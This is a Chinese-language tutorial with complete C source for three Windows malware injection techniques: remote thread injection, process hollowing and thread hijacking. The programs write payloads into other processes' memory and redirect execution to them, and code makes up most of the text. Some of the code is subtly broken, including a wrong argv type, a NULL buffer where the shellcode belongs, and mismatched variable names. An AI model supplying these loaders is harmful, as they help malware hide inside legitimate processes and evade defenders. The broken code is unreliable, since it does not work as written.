进程注入
远程线程注入
远程线程注入是指一个进程在另一个进程中创建线程的技术
流程
1.打开被注入进程的句柄
2.通过句柄向被注入进程申请可写可执行空间
3.往申请的空间内写入数据
4.创建线程并执行
1.打开具有所有访问权限的目标进程句柄
使用 OpenProcess
processHandle = OpenProcess(
PROCESS_ALL_ACCESS, // 定义访问权限
FALSE, // 不继承句柄
(atoi(argv[1])) // 从命令行读取进程标识符
);
2.为 shellcode 分配目标进程内存
remoteBuffer = VirtualAllocEx(
processHandle, // 打开的目标进程句柄
NULL,
sizeof shellcode, // 内存区域分配的大小
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE
);
3.在分配的内存区域中写入shellcode
使用WriteProcessMemory将数据写入到指定进程中的内存区域。 要写入的整个区域必须可访问,否则操作将失败
WriteProcessMemory(
processHandle,
remoteBuffer,
shellcode,
sizeof shellcode,
NULL
);
4.创建线程执行内存中的shellcode
使用createRemoteThread 创建在另一个进程(我们注入的进程)的虚拟地址空间中运行的线程
remoteThread = CreateRemoteThread(
processHandle, // 打开的进程句柄
NULL,
0, // 堆栈的初始大小,若为0则新线程使用可执行文件的默认大小
(LPTHREAD_START_ROUTINE)remoteBuffer, // 线程的起始地址
NULL,
0, // 线程在创建后立即执行
NULL
);
完整代码
#include "windows.h"
int main(int argc, char* argv) {
unsigned char shellcode[] = "";
HANDLE h_process = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
(atoi(argv[1]))
);
PVOID b_shellcode = VirtualAllocEx(
h_process,
NULL,
sizeof shellcode,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(h_process, b_shellcode, shellcode, sizeof shellcode, NULL);
HANDLE h_thread = CreateRemoteThread(
h_process,
NULL,
0,
b_shellcode,
NULL,
0,
NULL
);
return 0;
}
进程镂空 - Process Hollowing
流程
1.创建一个挂起的合法进程
2.读取恶意软件的代码
3.获取挂起进程上下文与环境信息
4.卸载挂起进程内存
5.写入恶意软件代码
6.恢复挂起进程
1.创建一个挂起的合法进程
使用CreateProcessA创建一个处于挂起状态的目标进程。
if (!CreateProcessA(0,(LPSTR)victimImage,0,0,0,CREATE_SUSPENDED,0,0,pVicitimStartupInfo, pVictimProcessInfo)) {
printf("[-] Failed to crete victim process %i\r\n", GetLastError());
return 1;
}
printf("[+]Create victim process PID %i\r\n", pVictimProcessInfo->dwProcessId);
2.读取恶意软件的代码
使用CreateFileA获取恶意软件的句柄
HANDLE hReplacement = CreateFileA(
replacementImage,
GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
0,
0
);
使用VirtualAlloc将内存分配给本地进程
DWORD replacementSize = GetFileSize(hReplacement, 0);
printf("\t[+] Size %i bytes\r\n", replacementSize);
PVOID pReplacementImage = VirtualAlloc(
0,
replacementSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
使用ReadFile 写入本地进程内存
DWORD totalBytes;
if (!ReadFile(
hReplacement,
pReplacementImage,
replacementSize,
&totalBytes,
0)){
printf("[-]Failed to read the replacement executable into an image in memory\r\n");
return 1;
}
3.获取挂起进程上下文与环境信息
进程环境块(PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据,每个进程又有一个独立且由操作系统进行维护的PEB。
挂起创建的进程的EBX寄存器存储着PEB,而PEB内存储着进程的实际加载地址。
这个寄存器可以通过使用 GetThreadContext 获取,然后可以使用 ReadProcessMemory 函数来从 EBX 寄存器中获取基地址
CONTEXT victimContext;
// Save the complete thread context information
victimContext.ContextFlags = CONTEXT_FULL;
GetThreadContext(pVictimProcessInfo->hThread, &victimContext);
printf("\t[+] Victim PEB address / EBX = 0x%08x\r\n", (UINT)victimContext.Ebx);
printf("\t[+] Victim entry point / EAX = 0x%08x\r\n", (UINT)victimContext.Eax);
// Get base address of the victim executable from EBX
PVOID pVictimImageBaseAddress;
ReadProcessMemory(
pVictimProcessInfo->hProcess,
(PVOID)(victimContext.Ebx + sizeof(SIZE_T) * 2),
&pVictimImageBaseAddress,
sizeof(PVOID),
0
);
4.卸载挂起进程内存
然后可以取消内存映射,使用从 ntdll中的 NtUnmapViewOfSection 来释放目标进程的内存
DWORD unmapResult = NtUnmapViewOfSection(pVictimProcessInfo->hProcess,pVictimImageBaseAddress);
if (unmapResult) {
printf("[-] Error unmapping section in victim process\r\n");
TerminateProcess(pVictimProcessInfo->hProcess, 1);
return 1;
}
5.写入恶意软件代码
使用VirtualAlloc
来分配内存,
首先需要从文件头中获得文件的大小
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // 获取DOS标头
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // e_lfanew 可以识别从 DOS 标头到 PE 标头的字节数
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // 到达 PE 标头后,我们可以从Optional 标头中获取 SizeOfImage
分配内存:
PVOID pVictimHollowedAllocation = VirtualAllocEx(
pVictimProcessInfo->hProcess,
(PVOID)pVictimImageBaseAddress,
sizeOfReplacementImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pVictimHollowedAllocation) {
printf("[-] Unable to allocate memory in victim process %i\r\n", GetLastError());
TerminateProcess(pVictimProcessInfo->hProcess, 1);
return 1;
}
然后先写入文件头,再逐段写入
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSectionHeader =
(PIMAGE_SECTION_HEADER)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
+ (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pVictimProcessInfo->hProcess,
(PVOID)((LPBYTE)pVictimHollowedAllocation + pSectionHeader->VirtualAddress),
(PVOID)((LPBYTE)pReplacementImage + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
0);
}
6.恢复挂起进程
挂起创建进程的EAX内存储着软件的入口点,使用SetThreadContext
将PEB内的实际加载地址修改为恶意软件预期的加载地址。
victimContext.Eax = (SIZE_T)((LPBYTE)pVictimHollowedAllocation + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(
pVictimProcessInfo->hThread,
&victimContext);
然后使用ResumeThread
让进程脱离挂起状态
ResumeThread(pVictimProcessInfo->hThread);
最终代码:
#include "Windows.h"
#include "stdio.h"
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);
int main() {
LPSTARTUPINFOA pVicitimStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pVictimProcessInfo = new PROCESS_INFORMATION();
// Target Image
LPCSTR victimImage = "cmd.exe";
LPCSTR replacementImage = "C:\\Windows\\System32\\calc.exe";
// Create Victim process
if (!CreateProcessA(0,(LPSTR)victimImage,0,0,0,CREATE_SUSPENDED,0,0,pVicitimStartupInfo, pVictimProcessInfo)) {
printf("Failed to crete victim process %i\r\n", GetLastError());
return 1;
}
printf("[+]Create victim process PID %i\r\n", pVictimProcessInfo->dwProcessId);
// Open replacement executable to place inside victim process
HANDLE hReplacement = CreateFileA(
replacementImage,
GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
0,
0
);
if (hReplacement == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open replacement executable %i\r\n", GetLastError());
}
DWORD replacementSize = GetFileSize(hReplacement, 0);
// Allocate memory for replacement executable
PVOID pReplacementImage = VirtualAlloc(
0,
replacementSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
// Load it
DWORD totalBytes;
if (!ReadFile(
hReplacement,
pReplacementImage,
replacementSize,
&totalBytes,
0)){
printf("[-]Failed to read the replacement executable into an image in memory\r\n");
return 1;
}
CloseHandle(hReplacement);
CONTEXT victimContext;
// Save the complete thread context information
victimContext.ContextFlags = CONTEXT_FULL;
GetThreadContext(pVictimProcessInfo->hThread, &victimContext);
// Get base address of the victim executable from EBX
PVOID pVictimImageBaseAddress;
ReadProcessMemory(
pVictimProcessInfo->hProcess,
(PVOID)(victimContext.Ebx + sizeof(SIZE_T) * 2),
&pVictimImageBaseAddress,
sizeof(PVOID),
0
);
// Unmap executable image from victim process
DWORD unmapResult = NtUnmapViewOfSection(pVictimProcessInfo->hProcess,pVictimImageBaseAddress);
if (unmapResult) {
printf("[-] Error unmapping section in victim process\r\n");
TerminateProcess(pVictimProcessInfo->hProcess, 1);
return 1;
}
// Allocate memory for the replacement image in the remote process
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pReplacementImage;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew);
DWORD replacementImageBaseAddress = pNTHeaders->OptionalHeader.ImageBase;
DWORD sizeOfReplacementImage = pNTHeaders->OptionalHeader.SizeOfImage;
PVOID pVictimHollowedAllocation = VirtualAllocEx(
pVictimProcessInfo->hProcess,
(PVOID)pVictimImageBaseAddress,
sizeOfReplacementImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pVictimHollowedAllocation) {
printf("[-] Failed to allocate memory in victim process %i\r\n", GetLastError());
TerminateProcess(pVictimProcessInfo->hProcess, 1);
return 1;
}
// Write replacement process headers into victim process
WriteProcessMemory(
pVictimProcessInfo->hProcess,
(PVOID)pVictimImageBaseAddress,
pReplacementImage,
pNTHeaders->OptionalHeader.SizeOfHeaders,
0);
// Write replacement process sections into victim process
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSectionHeader =
(PIMAGE_SECTION_HEADER)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
+ (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pVictimProcessInfo->hProcess,
(PVOID)((LPBYTE)pVictimHollowedAllocation + pSectionHeader->VirtualAddress),
(PVOID)((LPBYTE)pReplacementImage + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
0);
}
// Change EAX
victimContext.Eax = (SIZE_T)((LPBYTE)pVictimHollowedAllocation + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(
pVictimProcessInfo->hThread,
&victimContext);
// Reseum the Process
ResumeThread(pVictimProcessInfo->hThread);
// Clean up
CloseHandle(pVictimProcessInfo->hThread);
CloseHandle(pVictimProcessInfo->hProcess);
VirtualFree(pReplacementImage, 0, MEM_RELEASE);
return 0;
}
线程劫持 - Thread Hijack
流程
1.打开或创建一个进程
2.挂起其中一个线程
3.分配并写入shellcode
4.更改eip/rip指针指向shellcode
5.恢复挂起线程
为找到目标进程中需要劫持的线程,需要使用到CreateToolhelp32Snapshot
、Thread32First
、Thread32Next
这三个windows api
CreateToolhelp32Snapshot
创建一个线程快照的句柄(HANDLE),以便获取当前系统中所有线程的信息
HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First
使用线程快照句柄,获取第一个线程信息
THREADENTRY32 threadEntry;
Thread32First(h_snapshot, &threadEntry);
并保存到 threadEntry
结构体中
Thread32Next
与Thread32First
用法类似,用于获得下一个线程的信息
找到要劫持的目标线程
HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
Thread32First(h_snapshot, &threadEntry);
HANDLE h_thread;
while (Thread32Next(h_snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == atoi(argv[1])) {
h_thread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break;
}
}
完整代码
#include "windows.h"
#include "tlhelp32.h"
unsigned char shellcode[] = "";
int main(int argc, char* argv[]) {
HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
PVOID b_shellcode = VirtualAllocEx(h_process, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h_process, b_shellcode, NULL, sizeof shellcode, NULL);
HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
Thread32First(h_snapshot, &threadEntry);
HANDLE h_thread;
while (Thread32Next(h_snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == atoi(argv[1])) {
h_thread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
SuspendThread(h_thread);
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
GetThreadContext(h_thread, &context);
context.Eip = (DWORD_PTR)b_shellcode;
SetThreadContext(h_thread, &context);
ResumeThread(h_thread);
break;
}
}
}